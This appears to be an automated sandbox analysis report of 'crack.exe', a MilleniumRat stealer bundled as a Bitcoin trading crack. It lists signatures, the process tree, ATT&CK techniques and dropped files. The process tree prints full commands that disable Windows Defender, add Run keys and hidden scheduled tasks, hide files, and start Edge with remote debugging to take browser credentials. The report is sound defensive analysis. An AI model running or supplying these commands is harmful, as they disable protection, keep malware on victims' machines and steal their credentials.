Overview

overview

10

Static

static

3

BTC-ProTrader.zip

windows10-2004-x64

10

BTC-ProTrader.exe

windows10-2004-x64

1

crack.exe

windows10-2004-x64

10

setup.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    901s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/08/2026, 02:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    crack.exe
  • Size 1.1MB
  • Sample260817-cpk2fa11d1
  • SHA256 3b35d3233e08d7c7a43a0bc0a899ce14cd6797949e96af0c6b3c32f690ab4815
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionmilleniumratpersistenceprivilege_escalationratspywarestealer

Malware Config

Signatures

  • Family: MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Detects MilleniumRAT stealer 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 4 IoCs
  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 12 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies registry key 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\crack.exe
    "C:\Users\Admin\AppData\Local\Temp\crack.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3320
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\crack.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Users\Admin\AppData\Local\Temp\crack.exe
      "C:\Users\Admin\AppData\Local\Temp\crack.exe"
      2⤵
      • Downloads MZ/PE file
      • Creates a file in the Startup directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4552
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
          "C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
            5⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:4164
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffc9ed4c188,0x7ffc9ed4c194,0x7ffc9ed4c1a0
              6⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4300
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:2312
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:4608
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:4388
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name "DisableOnAccessScanning" -Value 1 -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:540
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Users\Admin\AppData\Local\Temp\8cVToaPU\vshost.exe
          "C:\Users\Admin\AppData\Local\Temp\\8cVToaPU\vshost.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
            5⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious use of WriteProcessMemory
            PID:1676
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x28c,0x7ffc9ed4c188,0x7ffc9ed4c194,0x7ffc9ed4c1a0
              6⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4108
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\8cVToaPU"
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3048
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 3 /nobreak
              6⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:2552
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4188
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          4⤵
          • Views/modifies file attributes
          PID:3728
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:2100
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:4060
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Creates a file in the Startup directory
          • Suspicious behavior: EnumeratesProcesses
          PID:4360
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Views/modifies file attributes
          PID:3640
        • C:\Windows\system32\wscript.exe
          "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3312
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:5064
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:3712
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
          4⤵
          • Views/modifies file attributes
          PID:4044
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3968
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:2956
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Creates a file in the Startup directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2352
        • C:\Windows\system32\attrib.exe
          "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Views/modifies file attributes
          PID:4640
        • C:\Windows\system32\wscript.exe
          "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3920
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:3012
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
          4⤵
          • Executes dropped EXE
          PID:544
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3984
  • C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
    C:\Users\Admin\AppData\Roaming\S137UQYWFEC5\svchost.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:2760
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
      2⤵
      • Executes dropped EXE
      PID:992
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
    1⤵
    • Executes dropped EXE
    PID:4068
  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
    1⤵
      PID:1376

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          3
          T1059

          PowerShell

          1
          T1059.001

          Visual Basic

          1
          T1059.005

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          2
          T1547.001

          Modify Authentication Process

          1
          T1556

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          2
          T1547.001

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Modify Authentication Process

          1
          T1556

          Modify Registry

          2
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Modify Authentication Process

          1
          T1556

          Steal Web Session Cookie

          1
          T1539

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Browser Information Discovery

          1
          T1217

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Web Service

          1
          T1102

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          settings.dat
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
          • Size 280B
          • SHA256 701082e4ac35f878dc5ff6eb27989aae9d20d9b5662643e20b3acd1720b367fc
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          settings.dat
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
          • Size 280B
          • SHA256 11d3c4c52f9fc9cd2b10a22b48769759f994fd6364f9a0fc145f4cd2c2a22e9d
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          settings.dat
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
          • Size 280B
          • SHA256 8b45cab4c1a14b813b625f97bc958f3144c890b5cae9027d50326155f11402ba
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          edge_shutdown_crash.txt
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\temp\edge_shutdown_crash.txt
          • Size 1B
          • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
          • MD5 SHA1 SHA512
          Submit Download

          Last Version
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
          • Size 14B
          • SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
          • MD5 SHA1 SHA512
          Submit Download

          Local State
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
          • Size 8KB
          • SHA256 d02fdcea1ccf269f34da33a8c423a6c9a8319275a92ff821af4b6cdcc2638ec4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Local State
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
          • Size 9KB
          • SHA256 42957d9291e9388f752d5753e603f7facbbb0d1efa375a9a7fdd26b874ed5bf1
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Variations
          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
          • Size 86B
          • SHA256 3dc9043838386f5363ac96a01477cf3163b5118b80191576a11b32ce9894314c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ModuleAnalysisCache
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 53KB
          • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 3e92c02f36b5264e64c846fb2af4ef12a5e2b6513788666dece5c0c5b011fe04
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5bd8a84c34cb87352fbde17b84a69ee60ae0b7a6dae5400412c720569927a158
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 285b2ffe19363ea58e76e39dadc8e67ccf421cc7953917eae3a7f9ac79b53b1b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 8685999934d4786f68afbe0f7ceeecd3e308fe8886cd2bc269ba7e3d43bf3c90
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 166a2f1e267ce9c0ee542541f5c50b015ffc416192d41c00afe66e1770ccb7e9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 4daabb3ea85ecf2739837c33fc96aba9663788f452e6bd06ee4e6987bc53a45b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 767cbe008b55bd49630582912b64399e79d15828db4d375e958c4a459baff682
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          __PSScriptPolicyTest_zoptigkj.txm.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zoptigkj.txm.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          tmp_5776_update1.exe
          • Path C:\Users\Admin\AppData\Local\Temp\tmp_5776_update1.exe
          • Size 55B
          • SHA256 b6b5da015ed9b1222c507c4df03d0351addf6621168f1dc3d3351afda7ab1d84
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          update_log.txt
          • Path C:\Users\Admin\AppData\Local\Temp\update_log.txt
          • Size 782B
          • SHA256 c1c12897b3122a42a8b480638d7cb28dba658a0b5ac59ce71dddea9aece95211
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          JDXsnbQ.lnk
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JDXsnbQ.lnk
          • Size 1KB
          • SHA256 668801c53c6fbce5f2127c98f449a4c18e945c2a3eb64f980ea5cf41c29e15fe
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          OneDrive.lnk
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
          • Size 1KB
          • SHA256 6de857ac7036a2402ad5dad70385ef153c243864c7dbbb36281fa54dbcdc2e0a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          update1.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
          • Size 2.6MB
          • SHA256 9afa2885bcb35aa5f012c7ad784b940b284ab968dad1eb8c4f3f2e1b6cda7572
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          update2.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
          • Size 2.4MB
          • SHA256 e724b8417dc081196b9892e5f7c8b30b06be04916fc05f887ccc080e5ba8f5af
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          update3.exe
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe
          • Size 351KB
          • SHA256 8098d0cf7a2460b14d7145b0c15a183c5fdbaa9e3932b1ee701aa4c2d59c0d9c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          syshelper.vbs
          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
          • Size 647B
          • SHA256 683299efb20c6d035b79528fc3b65b4ead66e9bcf4c9dccb3c720ee926860341
          • MD5 SHA1 SHA512 TLSH
          Submit Download

